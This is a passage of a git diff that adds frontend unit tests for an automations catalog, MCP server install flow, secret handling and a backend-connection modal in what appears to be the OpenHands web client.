+    // generic placeholder a bare empty stack would give.
+    const badge = screen.getByTestId("recommended-automation-icon-news-digest");
+    expect(badge).not.toHaveAttribute("data-layout");
+    expect(badge.querySelector("svg")).toBeInTheDocument();
+    expect(badge.querySelector("img")).not.toBeInTheDocument();
+  });
+
+  it("renders missing MCP connect copy as a pill on the same row", () => {
+    const offsetWidthDescriptor = Object.getOwnPropertyDescriptor(
+      HTMLElement.prototype,
+      "offsetWidth",
+    );
+    Object.defineProperty(HTMLElement.prototype, "offsetWidth", {
+      configurable: true,
+      get() {
+        return 120;
+      },
+    });
+    Object.defineProperty(HTMLElement.prototype, "clientWidth", {
+      configurable: true,
+      get() {
+        return 2000;
+      },
+    });
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        observe() {}
+
+        unobserve() {}
+
+        disconnect() {}
+      },
+    );
+
+    try {
+      render(
+        <RecommendedAutomationsSection
+          backendKind="local"
+          installedServers={[]}
+          onSelect={vi.fn()}
+        />,
+      );
+
+      const pillRow = screen.getByTestId(
+        "recommended-automation-pills-research-brief-writer",
+      );
+      expect(pillRow).toHaveTextContent(
+        "RECOMMENDED_AUTOMATIONS$MISSING_CONNECT:2",
+      );
+      expect(pillRow).toHaveClass("flex-nowrap");
+      expect(pillRow).not.toHaveClass("flex-wrap");
+    } finally {
+      if (offsetWidthDescriptor) {
+        Object.defineProperty(
+          HTMLElement.prototype,
+          "offsetWidth",
+          offsetWidthDescriptor,
+        );
+      } else {
+        Reflect.deleteProperty(HTMLElement.prototype, "offsetWidth");
+      }
+      Reflect.deleteProperty(HTMLElement.prototype, "clientWidth");
+      vi.unstubAllGlobals();
+    }
+  });
+
+  /**
+   * Puts a non-MCP-installable requirement back on `jira-issue-to-pr`.
+   *
+   * It declared the HTTP-only `jira` until @openhands/extensions 0.17.0 swapped it
+   * for the MCP `atlassian-rovo`, and no catalog automation declares a non-MCP
+   * integration any more. The cases below are about what a card does with one, so
+   * the requirement is restored for their duration rather than the assertions
+   * rewritten around a property the catalog stopped having. Mirrors the
+   * mutate-and-restore already used for the unknown-ID case.
+   *
+   * @returns the restore function, which the caller must run in a `finally`.
+   */
+  function requireNonMcpIntegration(): () => void {
+    const automation = AUTOMATION_CATALOG.find(
+      (item) => item.id === "jira-issue-to-pr",
+    )!;
+    const mutable = automation as RecommendedAutomation & {
+      requires: { integrations: Record<string, { message?: string }> };
+    };
+    const original = mutable.requires.integrations;
+    const { "atlassian-rovo": rovo, ...rest } = original;
+    // Keyed first, so the pill order and the install queue start where they did.
+    mutable.requires.integrations = {
+      jira: {
+        message: rovo?.message ?? "Reads the project for issues.",
+      },
+      ...rest,
+    };
+    return () => {
+      mutable.requires.integrations = original;
+    };
+  }
+
+  it("keeps a non-MCP-installable integration visible on its card instead of dropping it", () => {
+    const restoreRequirement = requireNonMcpIntegration();
+    // SkillCardPillRow folds pills behind "+N more" when it measures zero
+    // widths in jsdom; give it room so every pill renders.
+    const offsetWidthDescriptor = Object.getOwnPropertyDescriptor(
+      HTMLElement.prototype,
+      "offsetWidth",
+    );
+    Object.defineProperty(HTMLElement.prototype, "offsetWidth", {
+      configurable: true,
+      get() {
+        return 120;
+      },
+    });
+    Object.defineProperty(HTMLElement.prototype, "clientWidth", {
+      configurable: true,
+      get() {
+        return 2000;
+      },
+    });
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        observe() {}
+
+        unobserve() {}
+
+        disconnect() {}
+      },
+    );
+
+    try {
+      render(
+        <RecommendedAutomationsSection
+          backendKind="local"
+          installedServers={[]}
+          onSelect={vi.fn()}
+        />,
+      );
+
+      // jira-issue-to-pr declares jira (HTTP-only catalog entry) and github
+      // (MCP). Both belong on the card; jira is labeled as external setup.
+      const pillRow = screen.getByTestId(
+        "recommended-automation-pills-jira-issue-to-pr",
+      );
+      expect(pillRow).toHaveTextContent("Jira");
+      expect(pillRow).toHaveTextContent("GitHub");
+      expect(
+        within(pillRow).getByTestId("automation-integration-external-jira"),
+      ).toHaveTextContent("RECOMMENDED_AUTOMATIONS$EXTERNAL_SETUP");
+      expect(
+        within(pillRow).queryByTestId("automation-integration-external-github"),
+      ).not.toBeInTheDocument();
+
+      // The connect-before-launch count only covers what the install flow can
+      // actually connect, so jira does not inflate it.
+      expect(pillRow).toHaveTextContent(
+        "RECOMMENDED_AUTOMATIONS$MISSING_CONNECT:1",
+      );
+    } finally {
+      restoreRequirement();
+      if (offsetWidthDescriptor) {
+        Object.defineProperty(
+          HTMLElement.prototype,
+          "offsetWidth",
+          offsetWidthDescriptor,
+        );
+      } else {
+        Reflect.deleteProperty(HTMLElement.prototype, "offsetWidth");
+      }
+      Reflect.deleteProperty(HTMLElement.prototype, "clientWidth");
+      vi.unstubAllGlobals();
+    }
+  });
+
+  it("finds an automation by searching for its non-MCP-installable integration", () => {
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        query="jira"
+        onSelect={vi.fn()}
+      />,
+    );
+
+    expect(
+      screen.getByTestId("recommended-automation-card-jira-issue-to-pr"),
+    ).toBeInTheDocument();
+  });
+
+  it("does not silently hide an unknown required integration ID", () => {
+    const automation = AUTOMATION_CATALOG.find(
+      (item) => item.id === "jira-issue-to-pr",
+    )!;
+    const mutableAutomation = automation as RecommendedAutomation & {
+      requires: {
+        integrations: Record<
+          string,
+          { required?: false; setupRequired?: boolean }
+        >;
+      };
+    };
+    const originalIntegrations = mutableAutomation.requires.integrations;
+    mutableAutomation.requires.integrations = {
+      ...originalIntegrations,
+      "unknown-integration": {},
+    };
+
+    try {
+      render(
+        <RecommendedAutomationsSection
+          backendKind="local"
+          installedServers={[]}
+          onSelect={vi.fn()}
+        />,
+      );
+
+      // The current implementation drops unknown IDs while resolving the
+      // catalog, so this assertion intentionally fails until they are surfaced.
+      expect(
+        screen.getByTestId(
+          "recommended-automation-integration-unknown-integration",
+        ),
+      ).toBeInTheDocument();
+    } finally {
+      mutableAutomation.requires.integrations = originalIntegrations;
+    }
+  });
+
+  it("queues installs only for MCP-installable required integrations", async () => {
+    const restoreRequirement = requireNonMcpIntegration();
+
+    try {
+      renderLauncher();
+
+      fireEvent.click(
+        screen.getByTestId("recommended-automation-card-jira-issue-to-pr"),
+      );
+
+      // jira cannot go through the local MCP install flow, so the queue starts
+      // directly at github rather than failing or skipping the automation.
+      const modal = await screen.findByTestId("mcp-install-modal");
+      expect(modal).toHaveAttribute("data-marketplace-id", "github");
+      expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+    } finally {
+      restoreRequirement();
+    }
+  });
+
+  it("shows a decorative plus badge on each card without toggle behavior", () => {
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    const plusBadge = screen.getByTestId(
+      "recommended-automation-plus-github-pr-reviewer",
+    );
+    expect(plusBadge.tagName).toBe("SPAN");
+    expect(plusBadge).toHaveAttribute("aria-hidden", "true");
+    expect(plusBadge.className).toContain(
+      "hover:bg-[var(--oh-interactive-hover)]",
+    );
+    expect(plusBadge.querySelector('[role="switch"]')).not.toBeInTheDocument();
+  });
+
+  it("selects a recommendation directly from its card", () => {
+    const automation = AUTOMATION_CATALOG.find(
+      (item) => item.id === "github-pr-reviewer",
+    )!;
+    const onSelect = vi.fn();
+
+    render(
+      <RecommendedAutomationsSection
+        backendKind="local"
+        installedServers={[]}
+        onSelect={onSelect}
+      />,
+    );
+
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+    );
+    expect(onSelect).toHaveBeenCalledWith(automation);
+  });
+
+  it("opens the MCP install modal instead of launching when the required MCP is missing", async () => {
+    renderLauncher();
+
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+    );
+    fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+
+    const modal = await screen.findByTestId("mcp-install-modal");
+    expect(modal).toHaveAttribute("data-marketplace-id", "github");
+    expect(screen.getByTestId("mcp-install-field-url")).toHaveValue(
+      GITHUB_HOSTED_MCP_URL,
+    );
+    expect(screen.getByTestId("mcp-install-field-api_key")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("mcp-install-field-command-readonly"),
+    ).toBeNull();
+    expect(
+      screen.queryByTestId("mcp-install-field-GITHUB_PERSONAL_ACCESS_TOKEN"),
+    ).toBeNull();
+    expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+  });
+
+  it("saves OPENHANDS_URL before opening a responder setup form", async () => {
+    mockUseSettings.mockReturnValue({
+      data: settingsWithGithubMcp(),
+    });
+
+    renderLauncher();
+    continueGithubResponderLocally();
+
+    await waitFor(() =>
+      expect(mockCreateSecret).toHaveBeenCalledWith({
+        name: "OPENHANDS_URL",
+        value: window.location.origin,
+      }),
+    );
+    expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+  });
+
+  it("preserves an existing OPENHANDS_URL when starting a local responder", async () => {
+    mockUseSettings.mockReturnValue({
+      data: settingsWithGithubMcp(),
+    });
+    vi.mocked(SecretsService.getSecretsOrThrow).mockResolvedValue([
+      { name: "OPENHANDS_URL" },
+    ]);
+
+    renderLauncher();
+
+    continueGithubResponderLocally();
+
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith(
+        "/automations/new/github-pr-reviewer",
+      ),
+    );
+    expect(mockCreateSecret).not.toHaveBeenCalled();
+  });
+
+  it("uses fresh secrets instead of a cached OPENHANDS_URL", async () => {
+    mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+    const { queryClient } = renderLauncher();
+    queryClient.setQueryData(
+      ["secrets", localBackend.id, null],
+      [{ name: "OPENHANDS_URL" }],
+    );
+
+    continueGithubResponderLocally();
+
+    await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+    expect(SecretsService.getSecretsOrThrow).toHaveBeenCalledTimes(1);
+  });
+
+  it("matches the OPENHANDS_URL secret name exactly", async () => {
+    mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+    vi.mocked(SecretsService.getSecretsOrThrow).mockResolvedValue([
+      { name: "OPENHANDS_URL_BACKUP" },
+    ]);
+
+    renderLauncher();
+    continueGithubResponderLocally();
+
+    await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+  });
+
+  it("waits for the secret save and invalidates the cache before continuing", async () => {
+    mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+    let resolveSave: (() => void) | undefined;
+    mockCreateSecret.mockReturnValue(
+      new Promise<void>((resolve) => {
+        resolveSave = resolve;
+      }),
+    );
+    const { queryClient } = renderLauncher();
+    const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries");
+
+    const continueButton = continueGithubResponderLocally();
+
+    await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+    expect(continueButton).toBeDisabled();
+    expect(mockNavigate).not.toHaveBeenCalled();
+
+    await act(async () => resolveSave?.());
+
+    await waitFor(() => expect(mockNavigate).toHaveBeenCalledTimes(1));
+    expect(invalidateSpy).toHaveBeenCalledWith({ queryKey: ["secrets"] });
+    expect(invalidateSpy.mock.invocationCallOrder[0]).toBeLessThan(
+      mockNavigate.mock.invocationCallOrder[0],
+    );
+  });
+
+  it("keeps the responder modal open when the fresh secret read fails", async () => {
+    mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+    vi.mocked(SecretsService.getSecretsOrThrow).mockRejectedValue(
+      new Error("secret read failed"),
+    );
+
+    renderLauncher();
+    continueGithubResponderLocally();
+
+    await waitFor(() =>
+      expect(mockDisplayErrorToast).toHaveBeenCalledWith("secret read failed"),
+    );
+    expect(
+      screen.getByTestId("responder-deployment-modal"),
+    ).toBeInTheDocument();
+    expect(mockCreateSecret).not.toHaveBeenCalled();
+    expect(mockNavigate).not.toHaveBeenCalled();
+  });
+
+  it("blocks duplicate local continues while secrets are loading", async () => {
+    mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+    vi.mocked(SecretsService.getSecretsOrThrow).mockReturnValue(
+      new Promise(() => {}),
+    );
+
+    renderLauncher();
+    const continueButton = continueGithubResponderLocally();
+    fireEvent.click(continueButton);
+
+    await waitFor(() =>
+      expect(SecretsService.getSecretsOrThrow).toHaveBeenCalledTimes(1),
+    );
+    expect(continueButton).toBeDisabled();
+    expect(
+      screen.getByTestId("responder-deployment-modal-close"),
+    ).toBeDisabled();
+    expect(
+      screen.getByTestId("responder-deployment-open-openhands-cloud"),
+    ).toBeDisabled();
+    expect(mockCreateSecret).not.toHaveBeenCalled();
+    expect(mockNavigate).not.toHaveBeenCalled();
+  });
+
+  it("does not continue or close the modal when the secret save fails", async () => {
+    mockUseSettings.mockReturnValue({ data: settingsWithGithubMcp() });
+    mockCreateSecret.mockRejectedValue(new Error("secret save failed"));
+
+    renderLauncher();
+    continueGithubResponderLocally();
+
+    await waitFor(() => expect(mockCreateSecret).toHaveBeenCalledTimes(1));
+    await waitFor(() =>
+      expect(
+        screen.getByTestId("responder-deployment-continue-local"),
+      ).not.toBeDisabled(),
+    );
+    expect(
+      screen.getByTestId("responder-deployment-modal"),
+    ).toBeInTheDocument();
+    expect(mockNavigate).not.toHaveBeenCalled();
+  });
+
+  it("launches an automation that ships no setup form with its slash command", () => {
+    // Arrange
+    mockUseSettings.mockReturnValue({
+      data: settingsWithMcpConfig({
+        linear: { url: "https://mcp.linear.app/mcp" },
+      }),
+    });
+
+    renderLauncher();
+
+    // Act
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-linear-triage-assistant"),
+    );
+
+    // Assert
+    expect(mockCreateConversationMutate).toHaveBeenCalledTimes(1);
+    const [, options] = mockCreateConversationMutate.mock.calls[0];
+    options.onSuccess({ conversation_id: "conversation-1" });
+
+    const draft = getConversationState("conversation-1").draftMessage;
+    expect(draft).toBe("/linear-triage:setup");
+  });
+
+  it("launches without waiting for an integration the automation can start without", () => {
+    // Arrange — Slack and Linear are connected; Notion, which the entry marks
+    // as connectable later, is not.
+    mockUseSettings.mockReturnValue({
+      data: settingsWithMcpConfig({
+        slack: { url: "https://mcp.slack.com/mcp" },
+        linear: { url: "https://mcp.linear.app/mcp" },
+      }),
+    });
+
+    renderLauncher();
+
+    // Act
+    fireEvent.click(
+      screen.getByTestId(
+        "recommended-automation-card-incident-retrospective-drafter",
+      ),
+    );
+
+    // Assert — nothing stands between the click and the launch.
+    expect(screen.queryByTestId("mcp-install-modal")).not.toBeInTheDocument();
+    expect(mockNavigate).toHaveBeenCalledTimes(1);
+  });
+
+  it("prompts to install when the required MCP server is disabled", async () => {
+    // A disabled server is withheld from the agent, so treating it as
+    // installed would launch an automation that then fails at runtime.
+    mockUseSettings.mockReturnValue({
+      data: settingsWithMcpConfig({
+        github: {
+          url: GITHUB_HOSTED_MCP_URL,
+          auth: { strategy: "bearer", value: "github-token" },
+          enabled: false,
+        },
+      }),
+    });
+
+    renderLauncher();
+
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+    );
+    fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+
+    await screen.findByTestId("mcp-install-modal");
+    expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+  });
+
+  it("ignores repeated launches once a responder deployment choice is in flight", async () => {
+    mockUseSettings.mockReturnValue({
+      data: settingsWithGithubMcp(),
+    });
+
+    renderLauncher();
+
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+    );
+    fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+    // The launch is now in flight; re-selecting the card must not launch again.
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+    );
+
+    await waitFor(() => expect(mockNavigate).toHaveBeenCalledTimes(1));
+  });
+
+  it("hides the recommended automations section on cloud backends", () => {
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+
+    renderLauncher({ withBackendProvider: true });
+
+    expect(
+      screen.queryByTestId("recommended-automations-section"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("renders the compact rail instead of the catalog section", async () => {
+    // Earlier cases call `vi.unstubAllGlobals()`, which also removes the
+    // setup file's ResizeObserver stub the rail's fade tracking needs.
+    vi.stubGlobal(
+      "ResizeObserver",
+      class {
+        observe() {}
+
+        unobserve() {}
+
+        disconnect() {}
+      },
+    );
+    vi.spyOn(AutomationService, "getAutomations").mockResolvedValue({
+      automations: [
+        {
+          id: "installed-1",
+          name: "GitHub code review",
+          trigger: { type: "cron", schedule: "0 9 * * *" },
+          enabled: true,
+          prompt: "Review PRs",
+          created_at: "2026-01-01T00:00:00Z",
+          updated_at: "2026-01-01T00:00:00Z",
+        },
+      ],
+      total: 1,
+    });
+
+    renderLauncher({ variant: "rail" });
+
+    expect(
+      await screen.findByTestId("recommended-automations-rail"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("recommended-automations-section"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId(
+        "recommended-automation-rail-card-github-pr-reviewer",
+      ),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId(
+        "recommended-automation-rail-card-slack-standup-digest",
+      ),
+    ).toBeInTheDocument();
+  });
+
+  it("launches the recommendation after the missing MCP is installed", async () => {
+    const createSpy = vi
+      .spyOn(SettingsService, "createMcpServer")
+      .mockResolvedValue(true);
+
+    renderLauncher();
+
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+    );
+    fireEvent.click(screen.getByTestId("responder-deployment-continue-local"));
+    await screen.findByTestId("mcp-install-modal");
+
+    fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), {
+      target: { value: "github-token" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(createSpy).toHaveBeenCalledTimes(1));
+    await waitFor(() =>
+      expect(mockNavigate).toHaveBeenCalledWith(
+        "/automations/new/github-pr-reviewer",
+      ),
+    );
+  });
+
+  it("opens the OpenHands Cloud integrations page without launching when the cloud option is chosen", () => {
+    const openSpy = vi.spyOn(window, "open").mockReturnValue(null);
+
+    renderLauncher();
+
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-github-pr-reviewer"),
+    );
+    fireEvent.click(
+      screen.getByTestId("responder-deployment-open-openhands-cloud"),
+    );
+
+    expect(openSpy).toHaveBeenCalledWith(
+      "https://app.all-hands.dev/settings/integrations",
+      "_blank",
+      "noopener,noreferrer",
+    );
+    expect(mockCreateConversationMutate).not.toHaveBeenCalled();
+    expect(mockCreateSecret).not.toHaveBeenCalled();
+
+    openSpy.mockRestore();
+  });
+
+  it("does not show the deployment choice modal for non-responder automations", () => {
+    renderLauncher();
+
+    fireEvent.click(
+      screen.getByTestId("recommended-automation-card-linear-triage-assistant"),
+    );
+
+    expect(
+      screen.queryByTestId("responder-deployment-modal"),
+    ).not.toBeInTheDocument();
+    expect(mockCreateSecret).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/automations/search-input.test.tsx b/__tests__/components/automations/search-input.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..adc66227b28399a4f4d93b5f4c5436d5f54a30cd
--- /dev/null
+++ b/__tests__/components/automations/search-input.test.tsx
@@ -0,0 +1,24 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { vi, describe, it, expect } from "vitest";
+import { SearchInput } from "#/components/features/automations/search-input";
+
+describe("SearchInput", () => {
+  it("calls onChange when user types", async () => {
+    const onChange = vi.fn();
+    const user = userEvent.setup();
+    render(<SearchInput value="" onChange={onChange} />);
+
+    const input = screen.getByRole("textbox");
+    await user.type(input, "test");
+
+    expect(onChange).toHaveBeenCalled();
+    expect(onChange).toHaveBeenLastCalledWith("t");
+  });
+
+  it("displays the current value", () => {
+    render(<SearchInput value="security" onChange={vi.fn()} />);
+
+    expect(screen.getByRole("textbox")).toHaveValue("security");
+  });
+});
diff --git a/__tests__/components/automations/to-latest-run-state.test.ts b/__tests__/components/automations/to-latest-run-state.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..bf72e90fab42b96dc2c8a01b82d6f92eba77a0be
--- /dev/null
+++ b/__tests__/components/automations/to-latest-run-state.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from "vitest";
+import { toRunSummaryState } from "#/components/features/automations/to-latest-run-state";
+import { AutomationRunStatus, type AutomationRun } from "#/types/automation";
+
+function createRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: null,
+    bash_command_id: null,
+    error_detail: null,
+    started_at: "2026-01-02T00:00:00Z",
+    completed_at: "2026-01-02T00:03:00Z",
+    ...overrides,
+  };
+}
+
+describe("toRunSummaryState", () => {
+  it("summarizes recent runs for the dashboard stats footer", () => {
+    const completed = createRun();
+    const failed = createRun({
+      id: "run-2",
+      status: AutomationRunStatus.FAILED,
+      started_at: "2026-01-02T00:10:00Z",
+      completed_at: "2026-01-02T00:12:00Z",
+    });
+
+    const state = toRunSummaryState({
+      latestRun: completed,
+      recentRuns: [completed, failed],
+      total: 8,
+      isLoading: false,
+      isError: false,
+    });
+
+    expect(state.summary?.total).toBe(8);
+    expect(state.summary?.recentSuccessRate).toBe(0.5);
+    expect(state.summary?.averageDurationMs).toBe(150_000);
+  });
+
+  it("keeps an empty loading state from showing fake totals", () => {
+    const state = toRunSummaryState({
+      latestRun: null,
+      recentRuns: [],
+      isLoading: true,
+      isError: false,
+    });
+
+    expect(state.summary).toBeNull();
+    expect(state.isLoading).toBe(true);
+  });
+});
diff --git a/__tests__/components/automations/toggle-switch.test.tsx b/__tests__/components/automations/toggle-switch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a86e0aeddf86ced2d5add38e3cc002a24f747613
--- /dev/null
+++ b/__tests__/components/automations/toggle-switch.test.tsx
@@ -0,0 +1,38 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { vi, describe, it, expect } from "vitest";
+import { ToggleSwitch } from "#/components/features/automations/toggle-switch";
+
+describe("ToggleSwitch", () => {
+  it("calls onToggle when clicked", async () => {
+    const onToggle = vi.fn();
+    const user = userEvent.setup();
+    render(
+      <ToggleSwitch enabled={false} label="Toggle test" onToggle={onToggle} />,
+    );
+
+    await user.click(screen.getByRole("switch"));
+
+    expect(onToggle).toHaveBeenCalledOnce();
+  });
+
+  it("reflects enabled state via aria-checked", () => {
+    render(<ToggleSwitch enabled label="Toggle test" onToggle={vi.fn()} />);
+
+    expect(screen.getByRole("switch")).toHaveAttribute("aria-checked", "true");
+  });
+
+  it("stops event propagation on click", async () => {
+    const parentClick = vi.fn();
+    const user = userEvent.setup();
+    render(
+      <div onClick={parentClick} onKeyDown={parentClick} role="presentation">
+        <ToggleSwitch enabled={false} label="Toggle test" onToggle={vi.fn()} />
+      </div>,
+    );
+
+    await user.click(screen.getByRole("switch"));
+
+    expect(parentClick).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/backends/add-backend-modal.test.tsx b/__tests__/components/backends/add-backend-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ad56c8388287c948f030c7edbcf5993dcdf3e39f
--- /dev/null
+++ b/__tests__/components/backends/add-backend-modal.test.tsx
@@ -0,0 +1,568 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { MockInstance } from "vitest";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { AddBackendModal } from "#/components/features/backends/add-backend-modal";
+import * as telemetry from "#/services/telemetry";
+
+const getServerInfoMock = vi.hoisted(() => vi.fn());
+const getSettingsMock = vi.hoisted(() => vi.fn().mockResolvedValue({}));
+
+const deviceFlowMocks = vi.hoisted(() => ({
+  startDeviceFlow: vi.fn(),
+  pollForToken: vi.fn(),
+}));
+
+// Partial mock: only the network calls are stubbed so the rest of the module
+// (host classification) keeps its production behavior.
+vi.mock("#/api/device-flow-client", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/api/device-flow-client")>();
+  return {
+    ...actual,
+    startDeviceFlow: deviceFlowMocks.startDeviceFlow,
+    pollForToken: deviceFlowMocks.pollForToken,
+  };
+});
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+  ServerClient: vi.fn(function ServerClientMock() {
+    return {
+      getServerInfo: getServerInfoMock,
+    };
+  }),
+  SettingsClient: vi.fn(function SettingsClientMock() {
+    return {
+      getSettings: getSettingsMock,
+    };
+  }),
+}));
+
+let captureMock: MockInstance<typeof telemetry.trackEvent>;
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => ({
+    data: { user_consents_to_analytics: true, email: "user@example.com" },
+  }),
+}));
+
+function renderWithProviders(
+  ui: React.ReactElement,
+  navigation?: NavigationContextValue,
+) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <ActiveBackendProvider>
+        {navigation ? (
+          <NavigationProvider value={navigation}>{ui}</NavigationProvider>
+        ) : (
+          ui
+        )}
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+async function selectAgentServer(user = userEvent.setup()) {
+  await user.click(screen.getByTestId("add-backend-option-agent-server"));
+  return user;
+}
+
+beforeEach(() => {
+  captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined);
+  window.localStorage.clear();
+  getServerInfoMock.mockReset();
+  getServerInfoMock.mockResolvedValue({ version: "1.28.0" });
+  deviceFlowMocks.startDeviceFlow.mockReset();
+  deviceFlowMocks.startDeviceFlow.mockResolvedValue({
+    device_code: "device-code",
+    user_code: "ABCD-EFGH",
+    verification_uri: "https://app.all-hands.dev/device",
+    verification_uri_complete:
+      "https://app.all-hands.dev/device?user_code=ABCD-EFGH",
+    expires_in: 600,
+    interval: 5,
+  });
+  deviceFlowMocks.pollForToken.mockReset();
+  deviceFlowMocks.pollForToken.mockImplementation(() => new Promise(() => { }));
+  __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+  captureMock.mockRestore();
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("AddBackendModal – connection chooser", () => {
+  it("renders OpenHands Cloud first with its brand mark", () => {
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+
+    const tabs = screen.getAllByRole("tab");
+    expect(tabs).toHaveLength(2);
+    expect(tabs[0]).toHaveAttribute("data-testid", "add-backend-option-cloud");
+    expect(tabs[0]).toHaveAttribute("aria-selected", "true");
+    expect(tabs[1]).toHaveAttribute(
+      "data-testid",
+      "add-backend-option-agent-server",
+    );
+    expect(tabs[1]).toHaveAttribute("aria-selected", "false");
+    expect(
+      within(tabs[0]).getByTestId("add-backend-option-cloud-logo"),
+    ).toBeInTheDocument();
+    expect(tabs[0]).toHaveTextContent("BACKEND$CLOUD_OPTION_DESCRIPTION");
+    expect(tabs[1]).toHaveTextContent(
+      "BACKEND$AGENT_SERVER_OPTION_DESCRIPTION",
+    );
+
+    expect(screen.getByTestId("add-backend-cloud-panel")).toBeInTheDocument();
+    expect(screen.getByTestId("add-backend-login-button")).toBeInTheDocument();
+    expect(screen.getByTestId("add-backend-description")).toHaveTextContent(
+      "BACKEND$CHOOSER_DESCRIPTION",
+    );
+    expect(
+      screen.getByTestId("add-backend-deployment-options-link"),
+    ).toHaveAttribute(
+      "href",
+      "https://docs.openhands.dev/overview/introduction",
+    );
+    // Short inline link so the description reads as one flowing sentence.
+    expect(
+      screen.getByTestId("add-backend-deployment-options-link"),
+    ).toHaveTextContent("CTA$LEARN_MORE");
+  });
+
+  it("hides the Advanced host disclosure while authorization is pending", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(window, "open").mockReturnValue({
+      closed: false,
+      close: vi.fn(),
+      location: { href: "" },
+    } as unknown as Window);
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+
+    expect(screen.getByTestId("add-backend-advanced-toggle")).toBeVisible();
+
+    await user.click(screen.getByTestId("add-backend-login-button"));
+
+    expect(
+      await screen.findByTestId("add-backend-auth-awaiting"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("add-backend-advanced-toggle"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows Local and Remote inside the Agent-server tab", async () => {
+    renderWithProviders(<AddBackendModal onClose={vi.fn()} />);
+
+    await selectAgentServer();
+
+    expect(
+      screen.getByTestId("add-backend-agent-server-panel"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("add-backend-location-option-local"),
+    ).toHaveAttribute("aria-checked", "true");
+    expect(
+      screen.getByTestId("add-backend-location-option-remote"),
+    ).toHaveAttribute("aria-checked", "false");
+    expect(
+      screen
+        .getByTestId("add-backend-location-option-local")
+        .querySelector("svg"),
+    ).not.toBeNull();
+    expect(
+      screen
+        .getByTestId("add-backend-location-option-remote")
+        .querySelector("svg"),
+    ).not.toBeNull();
+    expect(
+      screen.getByTestId("add-backend-local-guidance"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("add-backend-local-docs-link")).toHaveAttribute(
+      "href",
+      expect.stringContaining("docs/DEVELOPMENT.md"),
+    );
+    expect(screen.getByTestId("add-backend-name")).toBeInTheDocument();
+    expect(screen.getByTestId("add-backend-host")).toBeInTheDocument();
+    expect(screen.getByTestId("add-backend-api-key")).toBeInTheDocument();
